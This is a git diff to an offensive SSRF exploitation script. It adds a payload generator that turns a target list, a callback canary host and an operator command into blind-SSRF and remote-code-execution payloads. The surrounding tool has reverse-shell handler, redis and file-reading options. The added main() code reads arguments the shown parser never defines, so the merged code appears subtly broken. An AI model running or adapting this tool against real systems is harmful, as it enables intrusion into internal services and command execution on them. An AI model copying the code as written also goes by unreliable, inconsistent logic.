@@ -12,6 +12,8 @@ import logging
1212import re
1313import json
1414import socket
15+ import sys
16+ import base64
1517
1618execPath = os.getcwd()
1719currentPath = os.path.dirname(__file__)
@@ -31,19 +33,31 @@ python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile
3133python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
3234python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
3335python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis
36+ python3 ssrf-exploition.py -u https://example.com/ -cn subdomain.collaborator.net -m canary
37+ python3 ssrf-exploition.py -u https://example.com/ -cn https://subdomain.collaborator.net --mode canary -e 2
38+ python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -Fl Jira
39+ python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -p https -v
40+
3441
3542'''
3643parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
37- parser.add_argument("--file", "-f", type=str, required=False , help= 'file of all URLs to be tested against SSRF' )
44+ parser.add_argument("--file", "-f", metavar="TARGET_FILE", nargs="?" , help="Set the target list containing internal domain names or IP addresses" )
3845parser.add_argument("--url", "-u", type=str, required=False, help= 'url to be tested against SSRF')
3946parser.add_argument("--threads", "-n", type=int, required=False, help= 'number of threads for the tool')
4047parser.add_argument("--output", "-o", type=str, required=False, help='output file path')
4148parser.add_argument("--data", "-d", action="store", dest="reqfile", help="SSRF Request File")
49+ parser.add_argument("--protocol", "-p", metavar="PROTOCOL", nargs="?", default="http://", help="Set the internal address protocol.\ndefault is http://")
4250parser.add_argument("--moudle", "-m", action="store", dest="moudles", help="SSRF Moudles to enable")
51+ parser.add_argument("--canary", "-cn", metavar="CANARY_ADDRESS", nargs="?", help="Set canary address to confirm internal services")
52+ parser.add_argument("--command", "-c", metavar="COMMAND", nargs="?", default="", help="Set the command to be executed")
53+ parser.add_argument("--encode", "-e", metavar="ENCODE_LEVEL", nargs="?", default="1", help="Set the payload's URLencode level,ex:\n-e 0 will not encode the payload\n-e 2 will double URLencode the output")
54+ parser.add_argument("--filter", "-Fl", metavar="FILTER", nargs="*", default=["shellshock"], help="Filter category, framework or a specific payload from the results\ndefault: exclude Shellshock payloads")
4355parser.add_argument("--handler", "-l", action="store", dest="handler", help="Start an handler for a reverse shell" )
56+ parser.add_argument("--OAuth", "--ar", help="Aurhotization request URL ending with redirect_uri=", required=False)
4457parser.add_argument("--oneshot", "-t", action='store_true', help='fuzz with only one basic payload - to be activated in case of time constraints')
4558parser.add_argument("--rfiles", "-r", action="store", dest="targetfiles", help="Files to read with readfiles moudle" )
4659parser.add_argument("--verbose", "-v", action='store_true', help='activate verbose mode' )
60+ parser.add_argument("--mode", metavar="MODE", nargs="?", default="canary", help="There are currently three supported modes:\ncanary (deafult mode: generate canary payloads)\nrce (generate payloads that can lead to RCE)\nall (generates RCE and Canary payloads)")
4761parser.add_argument("--lhost", action="store", dest="lhost", help="LHOST reverse shell")
4862parser.add_argument("--lport", action="store", dest="lport", help="LPORT reverse shell")
4963parser.add_argument("--ssl", action ='store', dest='ssl', help="Use HTTPS without verification", )
@@ -78,6 +92,7 @@ regexParams = regex.compile('(?<=(access|dbg|debug|edit|grant|clone|exec|execute
7892
7993extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)"
8094
95+
8196class Handler(threading.Thread):
8297
8398 def __init__(self, host, port):
@@ -274,6 +289,85 @@ class Requester(object):
274289 text += data + "=" + self.data[data] + "&"
275290 return text[:-1]
276291
292+ class Gun:
293+ def __init__(self, target, file, command, encode_level, protocol, canary, mode, verbose, _filter):
294+
295+ self._targets = []
296+
297+ if target is not None:
298+ self._targets.append(self.add_protocol(target, protocol))
299+ else:
300+ with open(file) as f:
301+ for line in f:
302+ line = line.strip()
303+ self._targets.append(self.add_protocol(str(line), "http"))
304+
305+ if canary is not None:
306+ self._canary = self.add_protocol(canary, protocol)
307+ else:
308+ self._canary = ''
309+
310+ self._encode_level = int(encode_level)
311+ self._filter = _filter
312+
313+ if mode == "canary":
314+ self._filter.append('http')
315+ self._filter.append('gopher')
316+ elif mode == "rce":
317+ self._filter.append('canaries')
318+
319+ self._command = str(command)
320+ self._verbose = verbose
321+ self._crlf = "{canary}/ HTTP/1.1{newline}Connection:keep-alive{newline}Host:{canary_host}{newline}Content-Length: 1{newline}{newline}1{newline}"
322+
323+ def reload(self):
324+ for line in self._targets:
325+
326+ # format CRLF payloads
327+ self._crlf = self._crlf.format(canary = line, newline = '\\r\\n', canary_host = urllib.parse.urlparse(line).netloc)
328+ self.trigger(line)
329+
330+ def trigger(self, target):
331+ payload_file = open('payloads/blind-ssrf-payloads.json') # remember to add dir here
332+ data = json.load(payload_file)
333+
334+ for category in data['categories']:
335+ if category in self._filter:
336+ continue
337+ if self._verbose:
338+ print("[{}]:".format(category))
339+ for framework in data['categories'][category]:
340+ if framework in self._filter:
341+ continue
342+ if self._verbose:
343+ print(" [{}]:".format(framework))
344+ for payload in data['categories'][category][framework]:
345+ if payload in self._filter:
346+ continue
347+ address = data['categories'][category][framework][payload] \
348+ .format(target_addr = target, canary_addr = self._canary,
349+ canary_urlencoded = urllib.parse.quote(self._canary), crlf = self._crlf, newline = '\\r\\n',
350+ target_host = urllib.parse.urlparse(target), command = self._command, command_b64encoded = base64.b64encode((self._command).encode('UTF-8')).decode('UTF-8'))
351+
352+ for i in range(self._encode_level):
353+ address = urllib.parse.quote(address)
354+
355+ if self._verbose:
356+ print(" [{}]:\n{}".format(payload, address))
357+ else:
358+ print("{}".format(address))
359+
360+ def add_protocol(self, target, protocol):
361+ if target.endswith("/"):
362+ target = target[:-1]
363+ if "//" not in target:
364+ if "//" not in protocol:
365+ target = protocol + "://" + target
366+ else:
367+ target = protocol + target
368+
369+ return target
370+
277371def getFileSize(fileID):
278372 interactionLogs = open(f"output/threadsLogs/interaction-logs{fileID}.txt", "r")
279373 return len(interactionLogs.read())
@@ -460,7 +554,28 @@ def main():
460554 for thread in workingThreads:
461555 thread.join()
462556 outputFile.close()
557+ args_t = args()
558+ _command = ''
559+
560+ if args_t.mode and args_t.mode != "canary":
561+ if not args_t.command:
562+ print('the argument -c/--command is required to generate RCE payloads')
563+ exit()
564+ else:
565+ if int(args_t.encode) > -1:
566+ _command = urllib.parse.quote(args_t.command)
567+ else:
568+ _command = args_t.command
569+
570+ if args_t.mode and args_t.mode == "canary":
571+ if not args_t.canary:
572+ print('the argument -cn/--canary is required to generate canary payloads')
573+ exit()
463574
575+ gun = Gun(args_t.target, args_t.target_list, _command,
576+ args_t.encode, args_t.protocol, args_t.canary, args_t.mode, args_t.verbose, args_t.filter)
577+
578+ gun.reload()
464579
465580
466581if __name__ == '__main__':
@@ -479,3 +594,4 @@ if __name__ == '__main__':
479594 logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
480595 logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))
481596
597+
0 commit comments